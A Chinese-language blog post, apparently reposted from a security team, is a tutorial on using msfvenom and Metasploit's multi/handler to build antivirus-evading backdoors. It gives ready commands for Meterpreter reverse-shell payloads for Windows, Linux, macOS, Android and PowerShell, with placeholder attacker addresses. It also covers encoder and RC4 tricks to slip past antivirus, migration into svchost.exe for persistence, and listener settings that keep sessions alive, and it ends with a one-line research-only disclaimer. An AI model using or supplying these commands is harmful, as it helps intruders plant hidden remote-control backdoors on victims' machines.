使用msfvenom生成免杀后门

admin 2023年1月2日16:54:05评论323 views字数 4257阅读14分11秒阅读模式
使用msfvenom生成免杀后门



0x01  前言

    msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。

使用msfvenom生成免杀后门



0x02  常用参数

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 
-l, –list [module_type] 列出指定模块的所有可用资源.模块类型包括:payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f,–format < format>指定输出格式(使用–help-formats来获取msf支持的输出格式列表)
-e, –encoder [encoder]指定需要使用的encoder(编码器,指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –a rch < architecture>指定payload的目标架构,例如 x86 | x64 | x86_64 – platform < platform> 指定 payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list>设定规避字符集,指定需要过滤的坏字符例如:不使用'x0f'、'x00';
-i, –iterations < count>指定 payload的编码次数
-c, –add-code < path>指定一个附加的 win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep保护模板程序的动作,注入的 payload 作为一个新的进程运行 –payload-options 列举payload的标准选项
-o, –out < path>指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式 –shellest 最小化生成 payload
-h, –help 查看帮助选项 –help-formats 查看msf 支持的输出格式列表

⼏个重要的监听参数

在实战中,经常会遇到假session或者刚连接就断开的情况,这⾥补充⼀些监听参数,防⽌假死与假session。

防⽌假session

//可以在接收到seesion后继续监听端口,保持侦听。msf exploit(multi/handler) >  set ExitOnSession falsemsf5 exploit(multi/handler) > set SessionCommunicationTimeout 0//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0msf5 exploit(multi/handler) > set SessionExpirationTimeout 0//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

使⽤exploit -j -z可在后台持续监听,-j为后台任务,-z为成功后不主动发送stage,使⽤Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

还有种⽐较快捷的建⽴监听的⽅式,在msf下直接执⾏:

msf5 > handler -H xxx.xxx.xx.x -P xxxx -p windows/meterpreter/reverse_tcp

payload的可持续化

使⽤msfvenom⽣成的payload会单独开启⼀个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使⽤migrate来进行进程的迁移

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xxx.xx.xx LPORT=xxxx -e x86/shikata_ga_nai -b"x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
//这里⽣成的shell程序执⾏后会启动两个进程shell.exe和svchost.exe,关闭其中⼀个不会影响会话状态。

以上的payload的参数解读

PrependMigrate=true PrependMigrateProc=svchost.exe

使这个程序默认会迁移到svchost.exe进程。<最好迁移到一个持久的进程上面>

⽤-p 指定使⽤的攻击载荷模块,使⽤- e 指定使⽤ x86/shikata_ga_nai 编码器,使⽤ -f 选项告诉MSF编码器输出格式为 exe,-o 选项指定输出的⽂件名为payload.exe,保存在根⽬录下。


0x03  绕过杀软

    使⽤reverse_https等payload时可以使⽤下列⽅法bypass部分杀软

//payload
msfvenom -p windows/meterpreter/reverse_https lhost=xxx.xxx.xxx.xxx lport=xxxx -f c

使用msfvenom生成免杀后门

msf exploit (multi/handler) > set= EnableStageEncoding true//尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀EnableStageEncoding => true
msf exploit (multi/handler) > set stageencoder x86/fnstenv_mov Stageencoder => x64/xor
msf exploit (multi/handler) > set stageencodingfallback falsestageencodingfallback => false

    使⽤reverse_tcp_rc4也有同样的效果,⽽且不能设置stageencoder选项,更稳定更⽅便。

msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=xxx.xxx.xxx.xxx lport=xxxx RC4PASSWORD=tidesec -f c

利⽤rc4对传输的数据进⾏加密,密钥在⽣成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼⽪地下执⾏meterpreter。



0x04  各平台payload生成

⼆进制

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xx.xx LPORT=xxxx -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xx.xxx.xx LPORT=xxxx -f exe > shell.exe

!!!注意:<以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使⽤-a x86选项指定。如果要⽣成64位,则payload为windows/x64/meterpreter/reverse_tcp。>

Linux

msfvenom -plinux/x86/meterpreter/reverse_tcp LHOST=xx.xxx.xxx.xxx LPORT=xxxx -ax86 --platform Linux -f elf > shell.elf

Mac

msfvenom -posx/x86/shell_reverse_tcp LHOST=xxx.xxx.xxx.xLPORT=xxxx -ax86 --platform osx -f macho > shell.macho

Android

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -f raw > shell.apkmsfvenom -p android/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx R > test.apk

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

Shellcode

//linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -a x86 --platform Windows -f c
//windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -a x86 --platform Linux -f c
//macmsfvenom -p osx/x86/shell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -a x86 --platform osx -f c

使用msfvenom生成免杀后门

Handler的设置

use exploit/multi/handler set PAYLOAD <Payload name>set LHOST xx.xx.xx.xxset LPORT xxxxset ExitOnSession falseexploit -j -z

0x05  免责声明


    本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。

关于我们


“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。

团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。


原文始发于微信公众号(TERRA星环安全团队):使用msfvenom生成免杀后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月2日16:54:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用msfvenom生成免杀后门https://cn-sec.com/archives/1488664.html

发表评论

匿名网友 填写信息